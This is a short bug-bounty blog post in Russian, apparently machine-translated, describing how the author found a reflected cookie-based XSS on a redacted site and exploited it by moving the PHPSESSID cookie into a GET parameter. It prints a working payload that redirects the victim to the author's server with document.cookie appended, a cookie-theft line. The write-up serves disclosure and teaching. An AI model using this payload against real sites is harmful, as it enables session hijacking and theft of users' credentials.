XSS-инъекция на основе файлов cookie, позволяющая эксплуатировать без использования других уязвимостей.

Всем привет,

Это короткое сообщение в блоге о создании XSS на основе файлов cookie.

Я тестировал сайт [redcted.com], который не может получить имя по очевидным причинам. Я тестировал его на вкладке Repeater на отрыжке и тестировал параметр, который отражался на странице HTML, но закодирован.

URL: - http: // [redcted.com] /path/file.php?f=a*&location = 12

* было той точкой инъекции, которую я пытался.

<script type="text/javascript">
    page.perform('a*', 12);
</script>

Я пытался обойти фильтр, снова и снова вводя различную полезную нагрузку (что означает отправку запросов снова и снова), и внезапно я получил другой параметр, отраженный на странице, который был параметром cookie, который не отражался раньше. Как?

Откровенно не знаю?

<script type="text/javascript">
    page.perform('a*', 12, '&PHPSESSID=73uj42unj5vu6urg6v4aa8');
</script>

Я был буквально удивлен тому, как я отразил этот новый параметр на странице и почему не раньше. Хорошо, продолжайте, теперь я начал смотреть, можно ли ввести этот параметр cookie или нет, и, к моему удивлению, он был доступен для инъекций.

Теперь у меня есть точка внедрения XSS, но главное - Как я могу использовать ее против пользователей?

Для использования XSS-инъекции на основе файлов cookie вам может потребоваться использовать другую уязвимость, например, CRLF (потому что затем вы можете попробовать% 0d% 0aSet-Cookie). Я пытался узнать, но не понял.

Затем я понял, что, если я помещу этот параметр cookie r в параметры GET следующим образом: -

Http: // [redcted.com] /path/file.php?f=a&location = 12 & PHPSESSID = {полезная нагрузка}

полезная нагрузка: -

a ’); document.location =” http: // myserver / '% 2bdocument.cookie; test ('.

и да, он работает так же. Ух ты! У меня есть все файлы cookie на моем сервере. Я быстро сообщил об этом команде. :)

Для меня это был хороший случай.

И я должен усвоить одну вещь: если у вас есть инъекция на основе файлов cookie, вы также должны проверить, заменив параметр из заголовка файла cookie на параметр URL, например, когда вы выполняете POST to GET, чтобы упростить использование.

Спасибо